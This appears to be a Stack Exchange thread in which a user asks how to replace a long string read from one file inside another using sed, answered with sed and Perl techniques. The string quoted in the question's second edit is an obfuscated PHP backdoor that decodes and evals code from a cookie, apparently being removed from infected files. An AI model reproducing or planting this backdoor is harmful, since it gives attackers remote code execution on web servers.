3

I want to replace a long part of a file with something else preferably by sed but want to read that long part from a file. I already found this:

sed -e '/<TEXT1>/{r File1' -e 'd}' File2

from here which is the exact opposite of what I want to achieve. I tried lot of things like the following but all give the wrong result:

sed -e '/r needle.txt/replace' subject.txt

EDIT 1

needle.txt is not regex, just the text I want to be replaced with lots of non ascii characters.

EDIT 2

the exact string I'm dealing with is this:

<?php                                                                                                                                                                                                                                                               $sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s22=${strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2])}['n1509e9'];if(isset($s22)){eval($s21($s22));}?><?php

I want to keep the last <?php

  • Could you please clarify? What is <TEXT> supposed to be? Where is the replacement pattern? Is it in File1? If so, is it a multiline pattern? Could you add an example? Are you just looking for foo=$(cat file1); sed "s/$foo/replacement/"? – terdon Oct 26 '14 at 19:56
  • @terdon yes I want something like your example. and no it's not multiline pattern and isn't regex either, just simple string of characters (non ascii too). – sepehr Oct 26 '14 at 20:25
  • @sepehr What is exactly in needle.txt and subject.txt? Show example. Anyway I think this is XY problem. – jimmij Oct 26 '14 at 20:39
  • sed 's/^\(<?php\).*\(?><?php\)$/\1replace\2/' subject.txt ? – Costas Oct 26 '14 at 20:40
  • 1
    I'd tested your pattern and find out the source of problem. There are only one simbol [ and it's opposite ] which clarify by bash as range. So we need to escape them. Just a trick sed "s/$(cat needle.txt | sed 's/[][]/\\&/g')/replace/" – Costas Oct 26 '14 at 21:43
4

You can have the shell expand the file's contents before passing them to sed:

sed -e "s/$(cat needle.txt)/replace/" subject.txt

Note the use of double quotes.

This will make sed interpret any regex metacharacters from needle.txt as regex metacharacters and not ordinary characters. It will break if needle.txt contains a /.

In case you want the lines of needle.txt to be interpreted literally (even if they contain regex metacharacters as in your example), you can do something like:

perl -pe '
    BEGIN{ local $/; 
           open $IN,"<","needle.txt";
           $needle = <$IN>
    }
    s/\Q$needle/replace/
'  subject.txt

Explanation

  • The -pe switches mean apply the code that follows line by line to the lines of the subject.txt file and print each line after you're done processing it.
  • The BEGIN{} segment is only executed once. What it does is it opens the needle.txt file and stores all of its contents in the $needle variable.
  • s/\Q$needle/replace/ is the same syntax you'd expect from sed except that \Q causes Perl's regex engine to treat everything after it as a fixed string rather than a regex.
  • needle.txt is not a regex, it's the text I want to be replaced and has a lot of non ascii characters,tnx. – sepehr Oct 26 '14 at 20:21
  • 1
    @sepehr That's not replacing the text of needle.txt, it's using the cat command to output the contents of that file and do a search through it and replace using replace. – slm Oct 26 '14 at 20:27
  • @sepehr Please see if the alternative in Perl is more suited to your needs. I'm writing an explanation for it now. – Joseph R. Oct 26 '14 at 21:21
  • @JosephR. perl script works perfectly, tnx alot. now that my question is more clear can you confirm that doing this in sed without first escaping the needle is impossible? – sepehr Oct 26 '14 at 21:40
  • 1
    @sepehr I can't confirm one way or the other: I'm not that well-versed in sed. But there doesn't seem to be a common way. This Q&A on SO was one of the first places I checked before attempting to answer your question. It seems that people are trying to avoid the use of sed there as well. – Joseph R. Oct 26 '14 at 21:43
1

sed is very peculiar about read - it will only do it for the line which matched its pattern - and it will always do it last. sed won't read out a file for a matching pattern if the pattern ceases to match before it flushes the line. At least that's how I think it works - I'm pretty good with sed but r still baffles me sometimes.

Anyway, the trick is to let it flush the line with the pattern it wants - thereby ensuring the output for that line, but to delay that output at least by one line and then to edit it.

You can do this relatively easily w/ N;P;D - which will work in concert to advance sed's line counter at least one line ahead of lines printed. Consider the following two files:

###file1
some string 1
some string 2
some other string
some string 4
some string 5

###file2
some other file

Now my goal is to perform a substitution replacing the pattern on which read depends, and to get read to print its contents before my change is printed. Here's how I do it:

sed '$!N;s/other \(.*\)\(\n\)/\1 3\2/
     /\n.*other/r file2
     P;D' file1

OUTPUT

some string 1
some string 2
some other file
some string 3
some string 4
some string 5

I also did this with a different file2 which printed...

some string 1
some string 2
no trailing newline some string 3
some string 4
some string 5

I do have some fairly deep reservations about the portability of that behavior, but that was with a GNU sed, for what it's worth.

Ok, so in the above commands, sed is reading its input one line ahead of when it prints it. N appends the next input line to pattern space, P prints up to the first \newline character in pattern space, and D deletes up to the first \newline character in pattern space before starting over with what remains. So every line we see printed is one line behind sed's look at it - sed gets a two-line window on the input.

The pattern which matches read matches only for when a \newline character occurs before it which it matches for the cycle when sed first pulls it in with N - it only matches the cycle in which we don't see it.

The replacement only occurs when the \newline occurs after the pattern - this is the cycle on which it will be Printed, after all, but sed flushes its line buffer and increments the line when we pull in the Next line, so the r gets printed then and then the replacement occurs. Kind of tedious really, but then so am I.

And speaking of GNU sed it does offer a rather interesting option for situations like these, in fact.

sed '/other/{x;s/.*/cat file2/e;G
     s/\(.*\)\n\(.* \)other \(.*\)/\1 \2\3 3/
}' file 

info sed will tell you...

  • e [COMMAND] This command allows one to pipe input from a shell command into pattern space. Without parameters, the `e' command executes the command that is found in pattern space and replaces the pattern space with the output; a trailing newline is suppressed.

There I also do a little pattern space shuffling - I want a blank pattern space in which to run my command, and so I switch to unused hold space. But it is a little more simple to understand because you don't have to consider line flush timings. It is, essentially, what has been suggested by other means already, with perhaps a little benefit in that any of sed's special characters will not generate an error if they exist in the target read file.

Oh by the way, the above prints:

some string 1
some string 2
some other file some string 3
some string 4
some string 5

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.